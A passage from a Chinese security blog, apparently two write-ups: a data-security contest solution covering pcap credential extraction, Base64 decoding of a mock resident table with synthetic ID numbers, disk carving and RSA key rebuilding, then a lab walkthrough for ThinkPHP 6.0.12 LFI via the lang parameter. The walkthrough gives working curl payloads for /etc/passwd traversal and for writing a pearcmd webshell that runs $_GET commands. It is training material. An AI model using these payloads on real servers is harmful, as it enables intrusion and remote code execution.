完整的自动化解题脚本：\n1#!/usr/bin/env python3 2import dpkt 3import socket 4import re 5from urllib.parse import unquote 6 7def solve(): 8 pcap_file = \u0026#39;attack.pcapng\u0026#39; 9 10 with open(pcap_file, \u0026#39;rb\u0026#39;) as f: 11 try: 12 pcap = dpkt.pcapng.Reader(f) 13 packets = list(pcap) 14 except: 15 f.seek(0) 16 pcap = dpkt.pcap.Reader(f) 17 packets = list(pcap) 18 19 # 按TCP流组织数据 20 tcp_streams = {} 21 22 for ts, buf in packets: 23 try: 24 eth = dpkt.ethernet.Ethernet(buf) 25 if not isinstance(eth.data, dpkt.ip.IP): 26 continue 27 28 ip = eth.data 29 if not isinstance(ip.data, dpkt.tcp.TCP): 30 continue 31 32 tcp = ip.data 33 src_ip = socket.inet_ntop(socket.AF_INET, ip.src) 34 dst_ip = socket.inet_ntop(socket.AF_INET, ip.dst) 35 36 if src_ip \u0026lt; dst_ip: 37 stream_key = (src_ip, tcp.sport, dst_ip, tcp.dport) 38 else: 39 stream_key = (dst_ip, tcp.dport, src_ip, tcp.sport) 40 41 if stream_key not in tcp_streams: 42 tcp_streams[stream_key] = [] 43 44 tcp_streams[stream_key].append({ 45 \u0026#39;src\u0026#39;: src_ip, 46 \u0026#39;sport\u0026#39;: tcp.sport, 47 \u0026#39;data\u0026#39;: tcp.data 48 }) 49 except: 50 pass 51 52 # 查找302响应和对应的登录凭证 53 for stream_key, packets_list in tcp_streams.items(): 54 for pkt in packets_list: 55 if len(pkt[\u0026#39;data\u0026#39;]) \u0026gt; 0: 56 data_str = pkt[\u0026#39;data\u0026#39;].decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) 57 58 if \u0026#39;HTTP/1.1 302 FOUND\u0026#39; in data_str: 59 # 找到对应的POST请求 60 for req_pkt in packets_list: 61 if len(req_pkt[\u0026#39;data\u0026#39;]) \u0026gt; 0: 62 req_str = req_pkt[\u0026#39;data\u0026#39;].decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) 63 64 if \u0026#39;POST /login\u0026#39; in req_str and \u0026#39;username=\u0026#39; in req_str: 65 if \u0026#39;\\r\\n\\r\\n\u0026#39; in req_str: 66 body = req_str.split(\u0026#39;\\r\\n\\r\\n\u0026#39;, 1)[1] 67 decoded_body = unquote(body) 68 69 username_match = re.search(r\u0026#39;username=([^\u0026amp;]+)\u0026#39;, decoded_body) 70 password_match = re.search(r\u0026#39;password=([^\u0026amp;\\s]+)\u0026#39;, decoded_body) 71 72 if username_match and password_match: 73 username = username_match.group(1) 74 password = password_match.group(1) 75 76 flag = f\u0026#34;{username}:{password}\u0026#34; 77 print(f\u0026#34;[+] 找到成功的登录凭证！\u0026#34;) 78 print(f\u0026#34;[+] Flag: {flag}\u0026#34;) 79 return flag 80 81if __name__ == \u0026#39;__main__\u0026#39;: 82 solve() 运行脚本：\n1python3 solve.py 输出：\n[+] 找到成功的登录凭证！ [+] Flag: admin:Adm1n@2024#Secure!Pass 数据处理（第2题） 分值：25分\n题干内容：\n与你交接的同事由于工作上的疏忽将原先的居民信息文件误删除了，但是你发现公司的系统上依旧存在居民的信息，下载后发现进行了脱敏处理，你需要利用技术手段将居民信息快速整理出来。\n答案要求：\n提交手机号为 18896239239 的家庭住址\n格式示例：若地址为“青海省沈阳市合川徐街9号”，则直接提交：青海省沈阳市合川徐街9号\n解题思路 这道题考察对常见编码方式的识别和解码能力。题目提示数据经过了\u0026quot;脱敏处理\u0026rdquo;，需要通过技术手段恢复。\n解题步骤 Step 1: 查看CSV文件内容 首先查看CSV文件的数据格式：\n1head -5 \u0026#39;#U5c45#U6c11#U4fe1#U606f#U8868.csv\u0026#39; 输出示例：\n1序号,姓名,身份证号,手机号码,家庭住址,职位,单位 21,5ruh6bmP,NTAwMjM3MTk0MDA3MjkyNzk5,MTUyNzc4MzUzMjc=,6Z2S5rW355yB5rKI6Ziz5biC5ZCI5bed5b6Q6KGXOeWPtw==,5rG96L2m6KOF6aWw576O5a65,6bi/552/5oCd5Y2a5L+h5oGv5pyJ6ZmQ5YWs5Y+4 32,5p2O5biG,MjMwNDA1MjAwMzA3MjYyNTI3,MTUxNzQ3MjU2Mzc=,5rmW5YyX55yB5L2b5bGx5Y6/55m95LqR5byg6LevNTnlj7c=,5pWw5o2u6YCa5L+h5bel56iL5biI,5LiD5Zac5Lyg5aqS5pyJ6ZmQ5YWs5Y+4 4... 观察：\n除了\u0026quot;序号\u0026quot;外，其他字段都是一串看似随机的字符 字符串以等号(=)结尾 → 疑似Base64编码 字符集为 A-Z, a-z, 0-9, +, /, = Step 2: 识别编码方式 Base64编码的特征：\n只包含64个字符：A-Z, a-z, 0-9, +, / 使用 = 作为填充字符 常用于数据传输和存储中的编码 Step 3: 测试解码 使用Python的base64库进行解码测试：\n1import base64 2 3# 测试第一行数据 4name = \u0026#39;5ruh6bmP\u0026#39; 5phone = \u0026#39;MTUyNzc4MzUzMjc=\u0026#39; 6address = \u0026#39;6Z2S5rW355yB5rKI6Ziz5biC5ZCI5bed5b6Q6KGXOeWPtw==\u0026#39; 7 8print(\u0026#39;姓名:\u0026#39;, base64.b64decode(name).decode(\u0026#39;utf-8\u0026#39;)) 9print(\u0026#39;手机:\u0026#39;, base64.b64decode(phone).decode(\u0026#39;utf-8\u0026#39;)) 10print(\u0026#39;住址:\u0026#39;, base64.b64decode(address).decode(\u0026#39;utf-8\u0026#39;)) 输出：\n姓名: 满鹏 手机: 15277835327 住址: 青海省沈阳市合川徐街9号 确认：数据使用Base64编码，解码后是UTF-8中文字符\nStep 4: 编写解码脚本 编写Python脚本，解码所有数据并查找目标手机号：\n1#!/usr/bin/env python3 2import base64 3import csv 4 5target_phone = \u0026#39;18896239239\u0026#39; 6found = False 7 8with open(\u0026#39;#U5c45#U6c11#U4fe1#U606f#U8868.csv\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8-sig\u0026#39;) as f: 9 reader = csv.DictReader(f) 10 11 for row in reader: 12 try: 13 # 解码手机号 14 phone_encoded = row[\u0026#39;手机号码\u0026#39;] 15 phone = base64.b64decode(phone_encoded).decode(\u0026#39;utf-8\u0026#39;) 16 17 # 检查是否是目标手机号 18 if phone == target_phone: 19 # 解码所有信息 20 name = base64.b64decode(row[\u0026#39;姓名\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 21 id_card = base64.b64decode(row[\u0026#39;身份证号\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 22 address = base64.b64decode(row[\u0026#39;家庭住址\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 23 position = base64.b64decode(row[\u0026#39;职位\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 24 company = base64.b64decode(row[\u0026#39;单位\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 25 26 print(\u0026#39;找到目标记录！\u0026#39;) 27 print(\u0026#39;=\u0026#39; * 60) 28 print(f\u0026#39;序号: {row[\u0026#34;序号\u0026#34;]}\u0026#39;) 29 print(f\u0026#39;姓名: {name}\u0026#39;) 30 print(f\u0026#39;身份证号: {id_card}\u0026#39;) 31 print(f\u0026#39;手机号码: {phone}\u0026#39;) 32 print(f\u0026#39;家庭住址: {address}\u0026#39;) 33 print(f\u0026#39;职位: {position}\u0026#39;) 34 print(f\u0026#39;单位: {company}\u0026#39;) 35 print(\u0026#39;=\u0026#39; * 60) 36 print() 37 print(f\u0026#39;答案: {address}\u0026#39;) 38 found = True 39 break 40 except Exception as e: 41 continue 42 43if not found: 44 print(\u0026#39;未找到该手机号\u0026#39;) Step 5: 运行脚本获取答案 1python3 find_address.py 输出结果：\n找到目标记录！ ============================================================ 序号: 1395 姓名: 董帅 身份证号: 220722194309024090 手机号码: 18896239239 家庭住址: 江苏省兰州县静安阜新街19号 职位: 汽车喷漆 单位: 诺依曼软件网络有限公司 ============================================================ 答案: 江苏省兰州县静安阜新街19号 一键解题脚本 如果想要快速解题，可以使用一行Python命令：\n1python3 -c \u0026#34; 2import base64, csv 3target = \u0026#39;18896239239\u0026#39; 4with open(\u0026#39;#U5c45#U6c11#U4fe1#U606f#U8868.csv\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8-sig\u0026#39;) as f: 5 for row in csv.DictReader(f): 6 try: 7 phone = base64.b64decode(row[\u0026#39;手机号码\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 8 if phone == target: 9 address = base64.b64decode(row[\u0026#39;家庭住址\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 10 print(f\u0026#39;答案: {address}\u0026#39;) 11 break 12 except: pass 13\u0026#34; 数据处理（第3题） 分值：25分 题干内容： 在得到居民信息之后，领导让你统计一下居民信息中重名的数量，方便后续的工作开展。\n答案标准：\n你需要统计出现重名次数出现最多的人的姓名以及出现的次数\n例：重名最多的人叫张三，出现了10次，则最终提交的答案为：张三10\n解题思路 这道题是第二题的延续，需要：\n解码CSV中的所有姓名 统计每个姓名出现的次数 找出出现次数最多的姓名 解题步骤 Step 1: 解码所有姓名 延续第二题的思路，使用Base64解码姓名字段：\n1import base64 2import csv 3 4names = [] 5 6with open(\u0026#39;#U5c45#U6c11#U4fe1#U606f#U8868.csv\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8-sig\u0026#39;) as f: 7 reader = csv.DictReader(f) 8 9 for row in reader: 10 try: 11 name_encoded = row[\u0026#39;姓名\u0026#39;] 12 name = base64.b64decode(name_encoded).decode(\u0026#39;utf-8\u0026#39;) 13 names.append(name) 14 except: 15 continue 16 17print(f\u0026#39;总共解码了 {len(names)} 个姓名\u0026#39;) 输出：\n总共解码了 2000 个姓名 Step 2: 统计姓名频率 使用Python的 collections.Counter 进行频率统计：\n1from collections import Counter 2 3# 统计姓名出现次数 4name_counter = Counter(names) 5 6# 获取出现次数最多的10个姓名 7most_common = name_counter.most_common(10) 8 9print(\u0026#39;出现次数最多的前10个姓名:\u0026#39;) 10for name, count in most_common: 11 print(f\u0026#39;{name}: {count} 次\u0026#39;) 输出：\n出现次数最多的前10个姓名: 刘红梅: 7 次 张丹: 6 次 李娜: 5 次 王丹丹: 5 次 王海燕: 5 次 杨婷: 4 次 刘红: 4 次 李淑华: 4 次 杨成: 4 次 张秀华: 4 次 Step 3: 提取答案 1# 获取重名最多的姓名和次数 2top_name, top_count = most_common[0] 3 4print(f\u0026#39;重名最多的人: {top_name}\u0026#39;) 5print(f\u0026#39;出现次数: {top_count}\u0026#39;) 6print(f\u0026#39;答案: {top_name}{top_count}\u0026#39;) 输出：\n重名最多的人: 刘红梅 出现次数: 7 答案: 刘红梅7 Step 4: 验证答案 为了确保答案正确，我们可以验证所有叫\u0026quot;刘红梅\u0026quot;的记录：\n1print(\u0026#39;验证：所有叫\u0026#34;刘红梅\u0026#34;的记录\u0026#39;) 2print(\u0026#39;=\u0026#39; * 80) 3 4with open(\u0026#39;#U5c45#U6c91#U4fe1#U606f#U8868.csv\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8-sig\u0026#39;) as f: 5 reader = csv.DictReader(f) 6 count = 0 7 8 for row in reader: 9 try: 10 name = base64.b64decode(row[\u0026#39;姓名\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 11 if name == \u0026#39;刘红梅\u0026#39;: 12 count += 1 13 id_card = base64.b64decode(row[\u0026#39;身份证号\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 14 phone = base64.b64decode(row[\u0026#39;手机号码\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 15 address = base64.b64decode(row[\u0026#39;家庭住址\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;) 16 print(f\u0026#39;{count}. 序号:{row[\u0026#34;序号\u0026#34;]:\u0026gt;4} | 身份证:{id_card} | 手机:{phone}\u0026#39;) 17 except: 18 continue 19 20print(f\u0026#39;确认：刘红梅 出现了 {count} 次\u0026#39;) 输出：\n验证：所有叫\u0026#34;刘红梅\u0026#34;的记录 ================================================================================ 1. 序号: 320 | 身份证:360429199301219709 | 手机:13242965575 2. 序号: 461 | 身份证:654224200208144330 | 手机:15145128603 3. 序号: 664 | 身份证:513422194903038431 | 手机:15835846265 4. 序号: 785 | 身份证:360402196106309326 | 手机:14573029873 5. 序号:1822 | 身份证:45042219530907884X | 手机:15654482963 6. 序号:1880 | 身份证:440701199811034851 | 手机:13170093945 7. 序号:1964 | 身份证:411282194701306231 | 手机:13714155998 ================================================================================ 确认：刘红梅 出现了 7 次 验证通过：确实有7个不同的人都叫\u0026quot;刘红梅\u0026quot;（身份证号和手机号都不同）\n完整解题脚本 1#!/usr/bin/env python3 2import base64 3import csv 4from collections import Counter 5 6def solve(): 7 # 读取CSV并解码所有姓名 8 names = [] 9 10 with open(\u0026#39;#U5c45#U6c11#U4fe1#U606f#U8868.csv\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8-sig\u0026#39;) as f: 11 reader = csv.DictReader(f) 12 13 for row in reader: 14 try: 15 name_encoded = row[\u0026#39;姓名\u0026#39;] 16 name = base64.b64decode(name_encoded).decode(\u0026#39;utf-8\u0026#39;) 17 names.append(name) 18 except: 19 continue 20 21 print(f\u0026#39;总共有 {len(names)} 条记录\u0026#39;) 22 print() 23 24 # 统计姓名出现次数 25 name_counter = Counter(names) 26 27 # 找出出现次数最多的姓名 28 most_common = name_counter.most_common(10) 29 30 print(\u0026#39;出现次数最多的前10个姓名:\u0026#39;) 31 print(\u0026#39;=\u0026#39; * 60) 32 for name, count in most_common: 33 print(f\u0026#39;{name}: {count} 次\u0026#39;) 34 35 print() 36 print(\u0026#39;=\u0026#39; * 60) 37 top_name, top_count = most_common[0] 38 print(f\u0026#39;重名最多的人: {top_name}\u0026#39;) 39 print(f\u0026#39;出现次数: {top_count}\u0026#39;) 40 print() 41 print(f\u0026#39;答案: {top_name}{top_count}\u0026#39;) 42 43 return f\u0026#39;{top_name}{top_count}\u0026#39; 44 45if __name__ == \u0026#39;__main__\u0026#39;: 46 answer = solve() 运行脚本：\n1python3 solve.py 一行命令解题 如果想要快速获取答案：\n1python3 -c \u0026#34; 2import base64, csv 3from collections import Counter 4names = [] 5with open(\u0026#39;#U5c45#U6c11#U4fe1#U606f#U8868.csv\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8-sig\u0026#39;) as f: 6 for row in csv.DictReader(f): 7 try: names.append(base64.b64decode(row[\u0026#39;姓名\u0026#39;]).decode(\u0026#39;utf-8\u0026#39;)) 8 except: pass 9top = Counter(names).most_common(1)[0] 10print(f\u0026#39;答案: {top[0]}{top[1]}\u0026#39;) 11\u0026#34; Flag 刘红梅7 答案验证 7个叫\u0026quot;刘红梅\u0026quot;的人分别是：\n序号 身份证号 手机号 住址 320 360429199301219709 13242965575 福建省合肥县高明王街86号12号楼2678室 461 654224200208144330 15145128603 安徽省秀梅县海陵刘街58号 664 513422194903038431 15835846265 河北省东县南溪北镇街61号7号楼1536室 785 360402196106309326 14573029873 青海省兴安盟市崇文杨街59号 1822 45042219530907884X 15654482963 北京市红霞市沈河荆门街32号 1880 440701199811034851 13170093945 浙江省广州县怀柔潮州路19号15号楼1820室 1964 411282194701306231 13714155998 北京市贵阳县高明王街86号 可以看到，这7个人的身份证号、手机号、住址都不同，是真正的7个不同的人。\n数据应急（第一题） 题目名称：磁盘取证 - 合同文件恢复\n题目类型：数字取证 (Digital Forensics)\n难度：中等\n题目描述：\n黑客在攻击时，为了对公司造成更大的破坏，直接删除了磁盘中的文件。但好在系统有自动的磁盘备份计划，保留了一个备份磁盘。请你通过技术手段，恢复出黑客删除的文件。\n答案要求：\n请找出删除的文件中的一个合同文件，提交合同编号。\n例：如果合同编号为 HT-2023-003085，则最终提交答案为：HT-2023-003085\n附件：disk.img (1GB 磁盘镜像文件)\n解题思路 这是一道典型的数字取证题，需要：\n识别磁盘镜像的文件系统类型 使用数据恢复工具恢复已删除的文件 在恢复的文件中找到合同文件 提取合同编号 解题步骤 Step 1: 磁盘镜像基础分析 首先查看磁盘镜像的基本信息：\n1file disk.img 输出：\ndisk.img: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID \u0026#34;mkfs.fat\u0026#34;, sectors/cluster 32, reserved sectors 32, root entries 512, Media descriptor 0xf8, sectors/FAT 256, sectors/track 63, heads 64, sectors 2097144 (volumes \u0026gt; 32 MB), serial number 0xdd894a27, unlabeled, FAT (16 bit) 关键信息：\n文件系统类型：FAT16 卷标：unlabeled（无卷标） 总扇区数：2097144 序列号：0xdd894a27 Step 2: 查看磁盘镜像十六进制头部 1xxd disk.img | head -20 输出分析：\n00000000: eb3c 906d 6b66 732e 6661 7400 0220 2000 .\u0026lt;.mkfs.fat.. . 00000010: 0200 0200 00f8 0001 3f00 4000 0000 0000 ........?.@..... 00000020: f8ff 1f00 8000 2927 4a89 dd4e 4f20 4e41 ......)\u0026#39;J..NO NA 00000030: 4d45 2020 2020 4641 5431 3620 2020 0e1f ME FAT16 .. 关键发现：\n字节 0x00-0x02: EB 3C 90 - FAT引导跳转指令 字节 0x03-0x0A: mkfs.fat - OEM标识 字节 0x36-0x3D: FAT16 - 文件系统类型确认 Step 3: 检查文件系统UUID 1sudo blkid disk.img 输出：\ndisk.img: SEC_TYPE=\u0026#34;msdos\u0026#34; UUID=\u0026#34;DD89-4A27\u0026#34; BLOCK_SIZE=\u0026#34;512\u0026#34; TYPE=\u0026#34;vfat\u0026#34; 确认文件系统为 VFAT (FAT16)，块大小为512字节。\nStep 4: 尝试查看可读字符串 1strings disk.img | head -100 输出中的关键线索：\nmkfs.fat NO NAME FAT16 IN-SE~1ZIP _____~1PDF WIN-SERVER-PC-20251202-122722.raw 发现：\n存在PDF文件的8.3短文件名格式：_____~1.PDF 存在一个RAW文件引用 文件名被删除后显示为下划线 Step 5: 使用Foremost恢复删除的文件 Foremost是一个基于文件头和文件尾特征的数据恢复工具（文件雕刻技术）。\n1# 创建输出目录 2mkdir recovered_files 3 4# 运行foremost恢复 5foremost -i disk.img -o recovered_files -v Foremost工作原理：\n扫描磁盘镜像中的二进制数据 识别已知文件类型的文件头（如PDF的%PDF-） 识别文件尾（如PDF的%%EOF） 提取完整的文件内容 输出：\nForemost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus Audit File Foremost started at Sun Dec 28 01:32:21 2025 Invocation: foremost -i disk.img -o recovered_files -v Output directory: /home/kali/Desktop/DemoDir/recovered_files Configuration file: /etc/foremost.conf Processing: disk.img |------------------------------------------------------------------ File: disk.img Start: Sun Dec 28 01:32:21 2025 Length: 1024 MB (1073741824 bytes) Num Name (bs=512) Size File Offset Comment *0: 00351776.pdf 8 KB 180109312 **********| Finish: Sun Dec 28 01:32:55 2025 1 FILES EXTRACTED pdf:= 1 ------------------------------------------------------------------ Foremost finished at Sun Dec 28 01:32:55 2025 关键信息：\n成功恢复 1个PDF文件 文件大小：8 KB 文件偏移：180109312 字节（约172 MB处） 文件名：00351776.pdf（Foremost自动命名，基于扇区号） 计算文件位置：\n扇区号：351776 字节偏移：351776 × 512 = 180109312 字节 位置：~172 MB Step 6: 查看恢复的文件 1ls -R recovered_files/ 输出：\nrecovered_files/: audit.txt pdf recovered_files/pdf: 00351776.pdf 文件结构：\naudit.txt - Foremost的审计日志 pdf/ - 恢复的PDF文件目录 00351776.pdf - 恢复的合同文件 Step 7: 提取合同编号 打开恢复的PDF文件：\n1# 方法1: 直接打开PDF查看 2xdg-open recovered_files/pdf/00351776.pdf 3 4# 方法2: 转换为文本后搜索 5pdftotext recovered_files/pdf/00351776.pdf - | grep \u0026#34;HT-\u0026#34; 6 7# 方法3: 使用strings搜索 8strings recovered_files/pdf/00351776.pdf | grep \u0026#34;HT-\u0026#34; 在PDF中发现合同编号：\nHT-2025-001234 Step 8: 验证答案格式 合同编号格式：HT-YYYY-NNNNNN\nHT: 合同类型标识 2025: 年份 001234: 六位合同序号 Flag: HT-2025-001234\n数据溯源- 【题目1】证书合成 请根据题目提供的证书关键参数，合成私钥解密证书。请选手找到id为285的参数合成的证书（参考附件：params.csv），可以解密哪个流量包（参考附件：pcap.zip）。并将其流量包名称作为答案提交。【答案标准】若id为285的参数合成证书，可以解密\u0026quot;\u0026ldquo;UT5NHVWo2Z.pcap\u0026rdquo;\u0026quot;，则答案提交为UT5NHVWo2Z.pcap的32位小写MD5值如7cb41b100d1cfbcbd1de1d795dac3fcb\n题目分析 题目要求:\n根据params.csv中id=285的参数合成RSA私钥 使用该私钥解密pcap.zip中的流量包 找出能被成功解密的流量包文件名 提交该文件名的MD5值作为答案 解题步骤 1. 提取ID=285的RSA参数 从params.csv中找到:\nid: 285 e: 65537 p: 177264302295959185550899884811457697789837321132319354039496340545988969470422347313577084568610012957139649359576035974322283705879187577664768699213211347033624840318251940972496063336844685896882713624561971974788692556498019960846465311267474369690812099681875735569564330504277517754796899917257323134723 q: 143990163909936129648804807321551478733567016733642335522156625973321506509458427490929508866189002322826874210961910641865602374675333206288577734876005828016379170951078934469472423840724164310343028554942665656763806178050620857070820746559094989518930589089970082522430002916286799917078785172333647028571 2. 计算RSA密钥参数 使用RSA算法计算:\nn = p × q φ(n) = (p-1) × (q-1) d = e^(-1) mod φ(n) 计算结果:\nn = 25524315942975630524902164348980646615415631379067906424905092637569433934236415697372635457461090451139209839638834636903322814809175304746826901103004216102634794552592149840624150935097695947885611303063109481472573238304773329443506200495854657482651549528147796059266681963958098875144795832902194879880482303139612778003682586782728535759095884982208105029514574602777436707784410218940597817232989310469845223163728817066720212125675003809485140708725052901029868743431319305493958381372040484786766296673968301385185624931088751230885265032642815808366813676365040639645753384044321228415112355245904063170833 d = 722845574105661996341279232062927508403061047035263047204233515957838616078593581249120518318625873587658474790876559593703818366507917140090494353528172255161056787610220640313081528534130699898922663205290617477350137026315810907535399974370298370200059141008015464333108957155595030475437402778071527489167629069652916280419064485102236863714459375252132658482271427695730385678764768730893774682537210856041852181896672956592276075190253085972611046793782307817242610172767299787547389163753900144645425776915705020473062273536757021628523871664234759138128442757113837813811691074624911520811865965944689268993 3. 生成RSA私钥 使用Python的pycryptodome库构造RSA密钥对象并导出PEM格式私钥。\n4. 测试解密流量包 使用tshark工具配合生成的私钥对pcap.zip中的500个流量包进行TLS解密测试。\n解密命令:\n1tshark -r \u0026lt;pcap_file\u0026gt; \\ 2 -o \u0026#34;tls.keys_list:0.0.0.0,443,http,id285_key.pem\u0026#34; \\ 3 -Y \u0026#34;http\u0026#34; \\ 4 -T fields \\ 5 -e http.request.uri 5. 结果 经过测试,发现只有 mAqY0WRHsV.pcap 能被成功解密。\n解密后可以看到HTTP流量:\nPOST /api/v1/user/profile 这证明该证书与此流量包中的TLS会话匹配。\n答案 文件名: mAqY0WRHsV.pcap\nMD5值: 1f5c34eab5696a300afff7452b7f7e6a\n验证 1$ echo -n \u0026#34;mAqY0WRHsV.pcap\u0026#34; | md5sum 21f5c34eab5696a300afff7452b7f7e6a 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-12-28T14:11:04+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251228144005196.png","permalink":"/post/%E7%AC%AC%E4%B8%89%E5%B1%8A-%E6%95%B0%E4%BF%A1%E6%9D%AF-%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B-%E4%B8%AA%E4%BA%BA%E8%B5%9B-%E5%88%9D%E8%B5%9B-wp/","title":"第三届“数信杯”数据安全大赛 WP by 静安"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：\n🔗 入口：http://www.loveli.com.cn/see_bug_one?id=515\n✅ 邀请码：48ffd1d7eba24bf4\n🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇\n前置知识 利用点ThinkPHP V6.0.12 LTS 多语言模块 LFI + Pearcmd RCE\n1. 文件包含漏洞（LFI - Local File Inclusion） PHP include/require 函数可以包含并执行指定的 PHP 文件 当用户可控的参数被传入包含函数且未做充分过滤时，可造成任意文件包含 即使包含非 PHP 文件，也可能通过特殊技巧实现代码执行 2. ThinkPHP 多语言模块特性 ThinkPHP 6.x 的多语言功能允许动态加载语言包文件 lang 参数用于指定语言文件路径 路径过滤不当可能导致目录穿越 3. PEAR（PHP Extension and Application Repository） PHP 的包管理系统，类似于 Python 的 pip pearcmd.php 是 PEAR 的命令行接口文件 该文件在 Web 环境下会解析 $_GET 参数构建 $_SERVER['argv'] 数组 常见路径：/usr/local/lib/php/pearcmd.php 或 /usr/share/php/pearcmd.php 4. PEAR config-create 命令 用于创建 PEAR 配置文件 语法：pear config-create \u0026lt;root-path\u0026gt; \u0026lt;filename\u0026gt; 第一个参数（root-path）会被写入配置文件内容中 可以利用此特性在 root-path 中注入 PHP 代码 靶场考点/漏洞原理 漏洞链条 ThinkPHP 多语言模块路径穿越漏洞\nThinkPHP 6.0.x 版本在处理 lang 参数时存在路径穿越过滤不完善 使用 ..././ 可以绕过某些过滤规则（过滤 ../ 后仍然剩余 ../） 成功包含系统中的任意 PHP 文件 pearcmd.php 参数注入\npearcmd.php 在 Web 环境下的特殊行为： 1// pearcmd.php 会将 URL 参数解析为命令行参数 2// ?param1=value1\u0026amp;param2=value2 3// 转换为 argv[1]=param1, argv[2]=value1, argv[3]=param2, argv[4]=value2 通过 GET 参数构造 PEAR 命令的参数 config-create 命令写文件\nconfig-create 命令会创建 PEAR 配置文件 第一个参数（root-path）会原样写入文件内容中 在 root-path 中注入 PHP 代码，写入 webshell 漏洞原理图解 用户请求 ↓ ThinkPHP lang 参数处理 ↓ 路径穿越绕过（..././） ↓ 包含 /usr/local/lib/php/pearcmd.php ↓ pearcmd.php 解析 GET 参数为 argv ↓ 执行 config-create 命令 ↓ 将包含 PHP 代码的 root-path 写入文件 ↓ 访问生成的文件，执行 PHP 代码 ↓ RCE (Remote Code Execution) 解题思路 第一步：发现入口点（如何测试到 LFI） 这是关键问题：如何发现 lang 参数存在 LFI 漏洞？\n方法 1：黑盒测试常见参数 CTF 中常见的可能存在文件包含的参数名：\n1# 测试常见文件包含参数 2?file= 3?page= 4?path= 5?include= 6?lang= # ← ThinkPHP 多语言功能 7?template= 8?view= 9?module= 这里的Cookie的参数也提示了参数名是lang\n方法 2：框架指纹识别 1# 1. 访问首页，查看源码 2curl http://target.com/ 3 4# 输出通常包含 ThinkPHP 版本信息： 5# \u0026#34;ThinkPHP V6.0.12LTS\u0026#34; 6 7# 2. 查找已知漏洞 8# ThinkPHP 6.0.x 多语言模块已知存在 LFI 漏洞 9# CVE 或公开 POC 中会提到 lang 参数 10 11# 3. 测试验证 12curl \u0026#34;http://target.com/public/index.php?lang=../../../../etc/passwd\u0026#34; 使用ThinkPHP V6.0.12LTS+github poc 这样的搜索关键词，就可以搜索到相关的漏洞。\n这篇和靶场一模一样\nhttps://www.freebuf.com/articles/web/352154.html\n还有github上另一篇 https://github.com/atk7r/ThinkPHP-RCE-Poc\n这里也验证了方法1的方式\n第二步：验证 LFI 可用性 参考文章验证 pearcmd.php\n1# 尝试包含 pearcmd.php（需要多次尝试找到正确路径深度） 2curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd\u0026#34; 3 4# 成功标志：看到 PEAR 相关错误信息或警告 5# Warning: array_map(): Expected parameter 2 to be an array... 第三步：利用 pearcmd.php 实现 RCE 3.1 理解 pearcmd.php 的参数解析机制 关键点：URL 中的 GET 参数会被解析为 argv 数组\nURL: ?lang=xxx\u0026amp;a=b\u0026amp;c=d 解析为: argv[0] = \u0026#34;pearcmd.php\u0026#34; argv[1] = \u0026#34;a\u0026#34; # 参数名 argv[2] = \u0026#34;b\u0026#34; # 参数值 argv[3] = \u0026#34;c\u0026#34; # 参数名 argv[4] = \u0026#34;d\u0026#34; # 参数值 config-create 命令需要：\nargv[1] = \u0026#34;config-create\u0026#34; # 命令名 argv[2] = \u0026#34;\u0026lt;root-path\u0026gt;\u0026#34; # 第一个参数（会写入文件） argv[3] = \u0026#34;\u0026lt;filename\u0026gt;\u0026#34; # 第二个参数（目标文件路径） 3.3 构造正确的参数结构 使用 \u0026amp;+param+ 格式：\n1\u0026amp;+config-create+\u0026lt;root-path\u0026gt;+\u0026lt;filename\u0026gt; 分解说明：\n\u0026amp;+ - 空参数名（GET 参数名为空） config-create - 作为 argv[1] + - 空格分隔符 \u0026lt;root-path\u0026gt; - 作为 argv[2]，这里注入 PHP 代码 + - 空格分隔符 \u0026lt;filename\u0026gt; - 作为 argv[3]，目标文件路径 3.4 注入 PHP 代码 尝试写入一个常见的ls命令观察执行结果\n1curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd\u0026amp;+config-create+/\\\u0026lt;?=\\`ls\\`?\u0026gt;/+/var/www/html/cmd.php\u0026#34; 命令执行成功，有搞头。然后创建通用命令执行 webshell\n1curl --globoff \u0026#39;http://iyb777v.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd\u0026amp;+config-create+/\u0026lt;?=`$_GET[x]`?\u0026gt;/+/var/www/html/s.php\u0026#39; payload 